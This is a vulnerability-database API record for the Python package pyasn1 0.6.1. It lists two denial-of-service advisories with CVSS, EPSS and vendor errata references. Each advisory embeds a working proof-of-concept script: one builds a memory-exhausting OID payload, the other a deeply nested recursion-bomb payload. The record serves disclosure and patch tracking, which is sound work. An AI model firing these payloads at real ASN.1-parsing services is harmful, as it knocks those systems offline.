Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/61751?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/61751?format=api", "purl": "pkg:pypi/pyasn1@0.6.1", "type": "pypi", "namespace": "", "name": "pyasn1", "version": "0.6.1", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "0.6.3", "latest_non_vulnerable_version": "0.6.3", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/20254?format=api", "vulnerability_id": "VCID-bptp-5gn6-eucd", "summary": "pyasn1 has a DoS vulnerability in decoder\n### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n length_bytes = bytes([length])\nelif length < 256:\n length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f'[+] Decoded successfully')\n print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n # Try to convert to string\n print('[*] Converting to string...')\n try:\n str_result = str(result[0])\n print(f'[+] String succeeded: {len(str_result)} chars')\n if len(str_result) > 10000:\n print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n except MemoryError:\n print(f'[-] MemoryError during string conversion!')\n except Exception as e:\n print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n '0': 10.1%\n '1': 9.9%\n '2': 10.0%\n '3': 9.9%\n '4': 9.9%\n '5': 10.0%\n '6': 10.0%\n '7': 10.0%\n '8': 9.9%\n '9': 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23490.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23490.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23490", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05876", "published_at": "2026-04-29T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05866", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05829", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05797", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05649", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05637", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05682", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05688", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05696", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05716", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.0569", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05652", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05659", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00021", "scoring_system": "epss", "scoring_elements": "0.05618", "published_at": "2026-04-02T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23490" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23490", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23490" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/pyasn1/pyasn1", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1" }, { "reference_url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496" }, { "reference_url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-16T19:23:28Z/" } ], "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970" }, { "reference_url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6" }, { "reference_url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-16T19:23:28Z/" } ], "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2" }, { "reference_url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-16T19:23:28Z/" } ], "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1125753", "reference_id": "1125753", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1125753" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472", "reference_id": "2430472", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472" }, { "reference_url": "https://github.com/advisories/GHSA-63vm-454h-vhhq", "reference_id": "GHSA-63vm-454h-vhhq", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:1903", "reference_id": "RHSA-2026:1903", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:1903" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:1904", "reference_id": "RHSA-2026:1904", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:1904" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:1905", "reference_id": "RHSA-2026:1905", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:1905" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:1906", "reference_id": "RHSA-2026:1906", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:1906" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2221", "reference_id": "RHSA-2026:2221", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2221" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2299", "reference_id": "RHSA-2026:2299", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2299" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2300", "reference_id": "RHSA-2026:2300", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2300" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2302", "reference_id": "RHSA-2026:2302", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2302" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2303", "reference_id": "RHSA-2026:2303", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2303" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2309", "reference_id": "RHSA-2026:2309", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2309" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2453", "reference_id": "RHSA-2026:2453", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2453" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2460", "reference_id": "RHSA-2026:2460", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2460" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2483", "reference_id": "RHSA-2026:2483", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2483" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2486", "reference_id": "RHSA-2026:2486", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2486" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2712", "reference_id": "RHSA-2026:2712", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2712" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2758", "reference_id": "RHSA-2026:2758", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2758" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:3354", "reference_id": "RHSA-2026:3354", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:3354" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:3359", "reference_id": "RHSA-2026:3359", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:3359" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:3958", "reference_id": "RHSA-2026:3958", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:3958" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:3959", "reference_id": "RHSA-2026:3959", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:3959" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4138", "reference_id": "RHSA-2026:4138", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4138" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4139", "reference_id": "RHSA-2026:4139", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4139" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4140", "reference_id": "RHSA-2026:4140", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4140" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4141", "reference_id": "RHSA-2026:4141", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4141" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4142", "reference_id": "RHSA-2026:4142", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4142" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4143", "reference_id": "RHSA-2026:4143", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4143" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4144", "reference_id": "RHSA-2026:4144", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4144" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4145", "reference_id": "RHSA-2026:4145", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4145" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4146", "reference_id": "RHSA-2026:4146", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4146" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4147", "reference_id": "RHSA-2026:4147", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4147" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4148", "reference_id": "RHSA-2026:4148", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4148" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:4943", "reference_id": "RHSA-2026:4943", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:4943" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:5606", "reference_id": "RHSA-2026:5606", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:5606" }, { "reference_url": "https://usn.ubuntu.com/7975-1/", "reference_id": "USN-7975-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7975-1/" }, { "reference_url": "https://usn.ubuntu.com/8134-1/", "reference_id": "USN-8134-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8134-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/61752?format=api", "purl": "pkg:pypi/pyasn1@0.6.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/pyasn1@0.6.2" } ], "aliases": [ "CVE-2026-23490", "GHSA-63vm-454h-vhhq" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-bptp-5gn6-eucd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/24801?format=api", "vulnerability_id": "VCID-kth3-bvbt-gbgk", "summary": "Denial of Service in pyasn1 via Unbounded Recursion\n### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30922.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30922.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30922", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15359", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15321", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15233", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15429", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.1515", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15142", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15227", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15293", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15332", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00049", "scoring_system": "epss", "scoring_elements": "0.15371", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00054", "scoring_system": "epss", "scoring_elements": "0.16702", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00054", "scoring_system": "epss", "scoring_elements": "0.16797", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00054", "scoring_system": "epss", "scoring_elements": "0.16687", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00073", "scoring_system": "epss", "scoring_elements": "0.21914", "published_at": "2026-04-29T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30922" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30922", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30922" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/pyasn1/pyasn1", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1" }, { "reference_url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-18T20:16:18Z/" } ], "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0" }, { "reference_url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8" }, { "reference_url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3" }, { "reference_url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-18T20:16:18Z/" } ], "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html", "reference_id": "", "reference_type": "", "scores": [], "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922" }, { "reference_url": "http://www.openwall.com/lists/oss-security/2026/03/20/4", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1131371", "reference_id": "1131371", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1131371" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553", "reference_id": "2448553", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553" 